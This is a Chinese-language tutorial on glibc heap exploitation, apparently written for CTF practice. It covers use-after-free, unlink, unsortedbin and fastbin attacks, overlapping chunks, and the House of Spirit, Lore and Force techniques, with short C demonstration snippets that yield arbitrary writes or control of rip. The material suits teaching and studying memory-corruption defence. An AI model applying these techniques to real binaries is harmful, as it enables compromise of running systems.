堆利用的方法

在实际考虑堆利用方法时,chunk size的计算是个需要小心的地方,因为这里包括了 prev_size的复用,以及根据不同系统考虑的对齐情况,还有 chunk 的size位表示的是包括chunk header在内的size,而实际可用的size与此不同,它是减去chunk header后的大小。

我们还可以根据不同的条件去构造不同的chunk复用,像是只利用一个字节溢出(off-by-one)来使chunk size减小,以此来构造的poison_null_byte 漏洞等等。了解chunk复用的原理,就是去改变 size 位来使系统对错误的长度进行 malloc、free,这就是我们的目的。

近期做了一道题,对我的感触颇深,所以将其中用到的思想在此处进行展示:

  1. 堆块对堆的初始位置是没有任何限制的,也即堆块不一定要满足对其的条件。堆可以以0x6030f5开始
  2. 堆块大小的计算。#define chunksize(p) ((p)->size & ~(SIZE_BITS)) 其中~(SIZE_BITS)=0xfffffff8
  3. fastbin大小计算。(((sz)>>(SIZE_SZ==8?4:3))-2) 在针对fastbin attack或者double free时,保证fastbin大致相同具有十分重要的意义。例如0x7f的fastbin与0x70大小的fastbin在同一条链上。因此很多时候就可以构造0x7f大小的fastbin,代替很难找到的0x71\0x70大小的fastbin
  4. fastbin取值范围32位[16-80],64位[32-160] 貌似总共有9个,实际上只能用前8个

0×01 Use After Free

要学习堆中的漏洞,最基础不过的就是这个 UAF 了,UAF 漏洞原理很简单,就是在 free 掉 chunk 后,指向该 chunk 的指针还能正常使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include<stdlib.h>
struct shell {
void (*getshell)();
};
struct data {
int data;
};
void test_getshell(){
printf("I get the shell\n");
}
int main () {
struct shell *p;
p = (struct shell*)malloc(sizeof(struct shell));
p->getshell = test_getshell;
free(p);
struct data *q;
q = (struct data*)malloc(sizeof(struct data));
q->data = 1234;
p->getshell();
return 0;
}

编译运行一下

1
2
3
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000000004d2 in ?? ()

我们可以看到 p 指向的函数地址被我们用1234给替换掉了,这就意味着我们能够利用这样一个漏洞控制 rip 寄存器,执行指令。

unlink漏洞想必大家都不陌生,在前面我们提到过,系统通过 unlink 宏将 free chunk 从链表中取出,但是我在这里强调一下,并非所有从链表中取出 chunk 的操作都利用到了 unlink 宏,要知道,我们在 malloc 时,也多次将 chunk 从 bin 中取出,我想结合部分源码(只截取了取出部分的代码)来强调一下 unlink 的使用状况。

在 malloc 操作中,我们多次进行了 bin 之间的转移,具体如下

victim指的是被取出的地址

  1. 从 fastbin 中取出 chunk (fastbin后进先出)

    1
    2
    3
    mfastbinptr* fb = &fastbin (av, idx);
    victim = *fb;
    *fb = victim->fd;
  2. 从 unsortedbin 中取出 chunk

    1
    2
    3
    4
    victim = unsorted_chunks(av)->bk
    bck = victim->bk;
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);
  3. 从 unsortedbin 向 smallbin 转移 chunk

    1
    2
    3
    4
    if (in_smallbin_range(size)) {
    victim_index = smallbin_index(size);
    bck = bin_at(av, victim_index);
    fwd = bck->fd;
  4. 从 unsortedbin 向 largebin 转移 chunk

    1
    2
    3
    4
    5
    mark_bin(av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
  5. 从 smallbin 中取出 chunk

    1
    2
    3
    4
    5
    6
    idx = smallbin_index(nb);
    bin = bin_at(av,idx);
    victim = last(bin);
    bck = victim->bk;
    bin->bk = bck;
    bck->fd = bin;
  6. 从 largebin 中取出 chunk

    1
    unlink(victim, bck, fwd);
  7. 合并 fastbin 中 chunk 并加入到 unsortedbin 中(单向链表,bk指针需要获取)

    (这种情况比较特殊,如果实在找不到内存分配的话,可能会调用malloc_consolidate这个函数,它就会合并fastbin到unsortedbin中)

    1
    2
    3
    4
    5
    6
    7
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(p, bck, fwd);
    ......
    size += nextsize;
    unlink(nextchunk, bck, fwd);

    我们发现不仅仅在 free 时进行向前向后合并时使用 unlink 宏,在 malloc 时也会有零星的 unlink 使用,而且一定要注意,上面的除了6、7外,在进行取出 chunk 操作时,并没有进行 unlink,所以在对这一部分进行漏洞利用时,不需要考虑 unlink 的检查。

现在言归正传,来看看 unlink 漏洞。

1
2
3
4
5
6
7
8
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;

上面所示是 unlink 宏的主要实现,我们现在设想申请两个chunk,并利用第一个chunk溢出到第二个chunk的size位,将第一个chunk的 inuse 位改写为 free状态,这时候我们再free第二个chunk,此时系统通过第二个chunk的size检查第一个chunk,发现他是free状态,那么这时候就会使用unlink将第一块chunk从bin中释放出来并与第二块合并

1
2
3
4
a = malloc(0x20)
b = malloc(0x20) // b.size = 0x20 + chunk_header | inuse(0x01) == 0x31
a[0x20+4] = 0x30 // 覆盖 inuse 位
free(b) // 检查inuse位,发现 a 为 free,执行 unlink,合并两个 chunk

这时候其实a并没有在 bin 中,但是如果我们对 a 的前两个元素(即”fd”、”bk”)进行构造,那么就可以造成任意地址写入。

首先我们需要绕过检查,我们进行一个小小的计算(下面的栗子是64位系统)

1
2
3
4
P->bk->fd == P //64位 [P+0x18]+0x10 == P <=> [P+0x18] == P-0x10 <=> BK == P-0x10
//32位 [P+0xC]+0x8 == P <=> [P+0xC] == p-0x8 <=> BK == P-0x8
P->fd->bk == P //64位 [P+0x10]+0x18 == P <=> [P+0x10] == P-0x18 <=> FD == P-0x18
//32位 [P+0x8]+0xC == P <=> [P+0x8] == P-0xC <=> FD == P-0xC

发现我们只需要在 b 的”fd”指针处放入 b-0×18,在”bk”指针处放入 b-0×10,即可绕过检查

执行完 unlink宏后,我们的b变成了这样

1
2
3
4
5
6
7
8
9
10
11
12
13
FD->bk = BK //64 *P = P - 0x10
//32 *p = p - 0x8
BK->fd = FD //64 *P = P - 0x18 // 这一步覆盖上一步
//32 *p = p - 0xc
计算流程:
FD->bk = BK
<=> (P-0x18)->bk = P-0x10
<=> [(P-0x18)+0x18] = P-0x10
<=> [P] = P-0x10
<=> *P = P-0x10
同理,算出
BK->fd = FD
<=> *P = P - 0x18

也就是说 现在 b 处存放着 b-0×18 的地址,这时候我们再向 b 写入数据也就是向 b-0×18 处写入数据了

1
2
3
4
5
6
7
--------|-------|
b | |----
--------|-------| |
····· | | |
--------|-------| |
b-0x18 | |<---
--------|-------|

这时候我们通过两次写入来造成任意地址写入(假设我们能够写[b]的值,而且没有长度限制)

第一次写入0×18个字节,最后几位放入要写入的地址(此时覆盖了b)

1
2
3
4
5
6
7
--------|-------| |-------|
b |address|----> | 写入 |
--------|-------| |-------|
····· | |
--------|-------|
b-0x18 | AAAA |
--------|-------|

我们再次写入时,就是修改该地址处的数据了,比如修改got表什么的(此时是对上一次写入的地址进行任意修改)

0×03 unsortedbin attack

对 unsortedbin 的攻击主要利用从 unsortedbin 中取出 chunk 的操作来进行向任意位置写入一个不可控的指针,注意这里,从unsortedbin链表中取出chunk并不是使用unlink宏,所以不需要绕过 unlink 检查。首先我们需要创建两个 chunk 来避免 free 第一个 chunk 时将该 chunk 并入 top chunk(因为不连续,所以不会被合并),并且第一个 chunk 要足够大,确保其能进入到 unsortedbin中

1
2
p = malloc(0x400)
malloc(0x200)

然后将 p free掉,此时 p 进入到 unsortedbin中,然后改写其的 bk 指针,并malloc

1
2
3
free(p)
p[1] = 0xdeadbeef-0x10 // 任意地址 - 0x10
malloc(0x400)

我们看一下从 unsortedbin 中取出 chunk 的操作

1
2
3
4
victim = unsorted_chunks(av)->bk // victim为free掉的p
bck = victim->bk; // bck 为 任意地址 -0x10
unsorted_chunks(av)->bk = bck; // 调整链表
bck->fd = unsorted_chunks(av); // 任意地址 -0x10 + 0x10 = unsortedbin

这个漏洞自由度较小,不过可以用来修改一些阈值,例如更改libc中的max_fast,从而使得任意分配都使用fastbin来实现,为其他漏洞提供方便。

0×04 fastbin attack

还记不记得我们在第一篇中那个介绍 fastbin 中 dobule free的例子

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main() {
char *a=malloc(24);
char *b=malloc(24);
free(a);
free(b);
free(a);
}

这个运行是没有问题的,但是想象一下,这样做之后,现在的 fastbin 中是什么样子

1
2
3
------- ------- ------- ------- -------
| 头结点 |-> | a2 |-> | b1 |-> | a1 |->| null |
------- ------- ------- ------- -------

其中的指向关系由chunk的 fd 指针标识。此时我们再从 fastbin中 malloc 出一个 chunk

1
c = malloc(24);

此时的 fastbin

1
2
3
------- ------- ------- -------
| 头结点 |-> | b1 |-> | a1 |-> | null |
------- ------- ------- -------

现在我们得到了一个chunk,并且这个 chunk 同时在 fastbin中也存在,那么此时如果我们修改 c 的 fd 指针位置为任意地址,那么 fastbin 中 a 的指向也会发生改变

1
2
3
------- ------- ------- -------
| 头结点 |-> | b1 |-> | a1 |-> |任意地址|
------- ------- ------- -------

我们之后连续 malloc 两次

1
2
malloc(24);
malloc(24);

现在的 fastbin

1
2
3
------- -------
| 头结点 |-> |任意地址|
------- -------

那我们再次 malloc 时,就可以在任意地址创建一个 chunk 了,但是要注意的是,我们在之前提到过,从 fastbin 中取出 chunk 的时候会对 chunk 的size 做检查,也就是这个任意位置的 chunk 的 size 位必须构造。我们可以在栈中构造

1
int stack = 0x30 // 24 + header = 0x28 ,0x10 对齐后 0x30

这个变量作为size位,我们可以将任意地址填充为 &stack – 8,然后 malloc 之后会返回这个地址的 chunk,在栈中变量无法溢出时,我们可以向 chunk 里面写入数据来造成栈溢出。

1
2
d = malloc(24);
d[20] = 0xdeadbeef //控制rip, 此处的20并不是唯一的,依据具体情况而定

fastbin attack 中令人兴奋的一点是,它不需要对 chunk 进行溢出就可以进行攻击,这在一些对输入长度检查严格的地方可以得到奇妙的应用。

0×05 overlapping chunk 1

幸运的是,并不是所有的程序都会对输入长度有严格的约束,当我们能够溢出到下一个 chunk 时,我们可以修改它的 size 位来造成 chunk 的覆盖。

首先,我们创建三个chunk,考虑 prev_size 的复用和 0x10字节对齐,我们将 malloc(0x100-8), 系统会给我们(0x100-8)+0x10-0×8,即0x100(0x10对齐)的空间,实际可用的空间正好是0x100-8,并没有多分配,而要是malloc(0x100)的话,你会看到实际可用的空间是0x108(这个不是必须的,只是向大家强调一下 chunk 大小的计算)

1
2
3
a = malloc(0x100-8);
b = malloc(0x100-8);
c = malloc(0x100-8);

然后 free 掉 b,b就会放到 unsortedbin 中 ,这个bin只有一个链表,并不对size进行区分,所以我们可以放入0x100的chunk,修改为size为0x180后就可以拿出0x180的chunk

1
free(b);

然后我们利用a溢出到b的size位

1
*(a+0xf8) = 0x181 // 0x01标识a为inuse状态

现在我们malloc一个0×180的 chunk,系统就会将从b开始的0×180大小的空间返还,这其中包括c

1
d = malloc(0x180-8);

ok,现在我们就可以更改利用d更改c中的内容,如果c中包含某个函数指针,我们也可以去改变它.

0×06 overlapping chunk 2

我们在前面先释放再修改size来获得了一个覆盖掉后面chunk 的 chunk,那么如果我们先修改size为一个大值,然后free会怎样呢?

首先我们创建4个chunk

1
2
3
4
a = malloc(0x100-8);
b = malloc(0x100-8);
c = malloc(0x100-8);
d = malloc(0x100-8);// 第四个为了防止被top chunk 合并,以及应对 free的检查

我们通过a溢出到b的size

1
*(a+0xf8) = 0x201 // 0x1为inuse标识

我们这里讲b的size扩大到了c,由于free时需要检查下一个chunk的size,所以我们预留了d,并且防止free后直接与top chunk合并,之后我们free掉b,然后再次malloc就又包括了c

1
2
free(p);
e = malloc(0x200-8);

然后就可以可以像0×02一样去利用。

0×07 House of spirit

假设我们可以在栈上伪造出一个chunk结构,那么我们可不可以利用free来释放,再次malloc得到这个chunk呢?House of spirit就是这个思路,当我们在栈上伪造出 chunk,并绕过检查的话,那么就可以实现

首先我们需要伪造chunk,但是要记住,在free执行的时候,会有一步检查,检查下一个chunk的size是否大于2*sizeof(size_t),并且小于所有分配的空间,所以我们需要构造两个size位。

我们假设栈上有一个数组可以填充数据

1
unsigned long long fake_chunks[10];

我们开始构造要free的chunk的size

1
fake_chunks[1] = 0x40;

然后为了绕过检查,需要在这个chunk后面紧跟一个chunk,设置其size位

1
fake_chunks[9] = 0x1234; // 0x40/sizeof(unsigned long long) = 8

然后我们把 fake_chunks[2] 的地址作为参数调用free。堆块中,size的下一位为malloc返回的地址

1
free(&fake_chunk[2]);// size的下一位为malloc返回的地址

此时再进行malloc就可以得到该处的chunk

1
p = malloc(0x30) // 根据 chunk size 计算公式 小于 0x38 即可 (0x38+0x10-0x08)(0x10对齐)

0×08 House of lore

在前面的 House of spirit 中,我们尝试在栈上伪造了一个 chunk,那么接下来在 House of lore 中,我们将尝试伪造一条 smallbin链表,注意看,这里会用到我们在第一篇中讲过的 malloc分配流程的内容。

首先我们需要创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并

1
2
victim = malloc(100) // size 位于 smallbin 范围内
malloc(1000) //防止free后被top chunk合并

接下来我们要将这个 victim 送入 smallbin 中。

1
free(victim);

我们先将其free掉,现在它位于unsortedbin中

1
malloc(1200);

接下来,我们再次申请一个size位于largebin中,并且在unsortedbin中没有与其匹配的chunk,所以我们需要一个大值。

设想一下,接下来会发生什么?

系统依次找完 fastbin、smallbin、unsortedbin后发现找不到这个size的chunk,接下来会把unsortedbin中的chunk加入到smallbin或者largebin中,这时,我们的victim就成功进入smallbin中了。

现在我们假设可以控制 victim的fd、bk指针,我们就可以在栈上伪造出一个smallbin的链表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intptr_t* stack_buffer_1[4] = {0}; // 堆1
intptr_t* stack_buffer_2[3] = {0}; // 堆2
intptr_t *victim_chunk = victim-2; // 堆块位置
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
victim[1] = (intptr_t)stack_buffer_1;
[victim]<---| |->[stack_buffer_1]<--| |-->[stack_buffer_2]
[ fd ] |-|--[ fd ] |-|---[ fd ]
[ bk ]------| [ bk ]-----| [ bk ]

那么我们再次malloc时,就可以从smallbin的链表末尾取chunk了。这里应该是stack_buffer_2

1
void *p3 = malloc(100);

而当我们在栈上创造出 chunk 后,就可以向chunk中写入来覆盖返回地址控制eip,甚至绕过 canary检查。

0×09 House of force

在 House of force 中,我们这样设想,如果我们能够将top chunk的size覆盖为一个巨大的值,是否就可以实现malloc从堆直接到.bss段、到栈?

我们首先创建一个 chunk,紧跟着这个chunk的就是top chunk

1
p = malloc(0x100-8);

我们设法溢出到top chunk

1
*(p+0xf8) = -1;

那么现在top chunk 的size 就是 0xffffffffffffffff,现在我们可以计算一下从top chunk的起始地址到我们要覆盖的地址之间的距离,然后malloc一个巨大的chunk填充这一段距离,然后再次malloc一个小chunk,向小chunk中写入数据就可以改变这里的值。

1
2
3
malloc(big_size);
q = malloc(100);
*q = "hello world";